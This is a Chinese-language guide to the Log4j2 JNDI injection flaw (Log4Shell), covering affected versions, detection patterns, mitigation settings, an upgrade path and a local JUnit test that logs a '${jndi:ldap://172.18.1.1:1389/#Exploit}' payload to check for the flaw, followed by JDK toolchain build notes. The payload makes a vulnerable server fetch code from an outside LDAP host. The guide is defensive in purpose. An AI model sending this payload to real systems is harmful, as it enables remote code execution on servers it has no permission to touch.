漏洞原理官方表述:Apache Log4j2 中存在JNDI注入漏洞,当程序将用户输入的数据进行日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。
通俗简单的说就是:在打印日志的时候,如果你的日志内容中包含关键词 ${,攻击者就能将关键字所包含的内容当作变量来替换成任何攻击命令,并且执行。
1、通过流量监测设备监控是否有相关 DNSLog 域名的请求
2、通过监测相关日志中是否存在“jndi:ldap://”、“jndi:rmi”等字符来发现可能的攻击行为。
Apache log4j2 >= 2.0, <= 2.14.1
Apache Struts2
Apache Solr
Apache Druid
Apache Flink
Apache Flume
Apache Dubbo
Apache Kafka
Sping-boot-strater-loj2
ElasticSearch
Redis
Logstash
目前rc1版本已被绕过,建议使用如下官方临时补丁进行修复,升级至log4j-2.15.0-rc2;
升级包下载:log4j-2.15.0-rc2.zip
1、 禁止没有必要的业务访问外网。
2、设置jvm参数
“-Dlog4j2.formatMsgNoLookups=true”
3、设置
“log4j2.formatMsgNoLookups=True”
4、系统环境变量
“FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS”设置为“true”
1、新建maven工程
2、pom文件内容如下
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0modelVersion>
<groupId>org.examplegroupId>
<artifactId>log4j-testartifactId>
<version>1.0-SNAPSHOTversion>
<properties>
<maven.compiler.source>1.8maven.compiler.source>
<maven.compiler.target>1.8maven.compiler.target>
<log4j.version>2.14.1log4j.version>
properties>
<dependencies>
<dependency>
<groupId>org.apache.logging.log4jgroupId>
<artifactId>log4j-apiartifactId>
<version>${log4j.version}version>
<scope>compilescope>
dependency>
<dependency>
<groupId>org.apache.logging.log4jgroupId>
<artifactId>log4j-coreartifactId>
<version>${log4j.version}version>
<scope>compilescope>
<exclusions>
<exclusion>
<groupId>org.apache.logging.log4jgroupId>
<artifactId>log4j-apiartifactId>
exclusion>
exclusions>
dependency>
<dependency>
<groupId>junitgroupId>
<artifactId>junitartifactId>
<version>RELEASEversion>
<scope>testscope>
dependency>
dependencies>
project>
3、新建测试类
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.junit.Test;
import java.io.IOException;
public class Log4jTest {
private static final Logger log = LogManager.getLogger();
@Test
public void test() throws IOException {
log.error("${jndi:ldap://172.18.1.1:1389/#Exploit}");
log.error("${}", "jndi:ldap://172.18.1.1:1389/#Exploit");
}
}
4、启动wireshare,下载地址:https://2.na.dl.wireshark.org/win64/Wireshark-win64-3.6.0.exe
若存在漏洞,则将捕获到如下信息。如果不存在漏洞,而无信息。
https://github.com/apache/logging-log4j2/archive/refs/tags/log4j-2.15.0-rc2.zip
注意:要3个都装上,并且当前使用的JDK要设置成Java8,可以执行java -version
和javac -version
验证一下。
我开始只装了8,不成功,提示需要9,然后后来装了9,还是不行,提示还需要11,最后装了11才在JDK环境上
<toolchains>
<toolchain>
<type>jdktype>
<provides>
<version>1.8version>
<vendor>sunvendor>
provides>
<configuration>
<jdkHome>D:\Program Files\Java\jdk1.8.0_301jdkHome>
configuration>
toolchain>
<toolchain>
<type>jdktype>
<provides>
<version>9version>
<vendor>sunvendor>
provides>
<configuration>
<jdkHome>D:\Program Files\Java\jdk-9.0.4jdkHome>
configuration>
toolchain>
<toolchain>
<type>jdktype>
<provides>
<version>11version>
<vendor>oraclevendor>
provides>
<configuration>
<jdkHome>D:\Program Files\Java\jdk-11.0.13jdkHome>
configuration>
toolchain>
toolchains>
<toolchains xmlns="http://maven.apache.org/TOOLCHAINS/1.1.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/TOOLCHAINS/1.1.0 http://maven.apache.org/xsd/toolchains-1.1.0.xsd">
<toolchain>
<type>jdktype>
<provides>
<version>11version>
<vendor>oraclevendor>
provides>
<configuration>
<jdkHome>D:\Program Files\Java\jdk-11.0.13jdkHome>
configuration>
toolchain>
toolchains>
执行mvn clean install -t ./toolchains-sample-win.xml -Dmaven.test.skip=true -f pom.xml
编译和安装到本地仓库。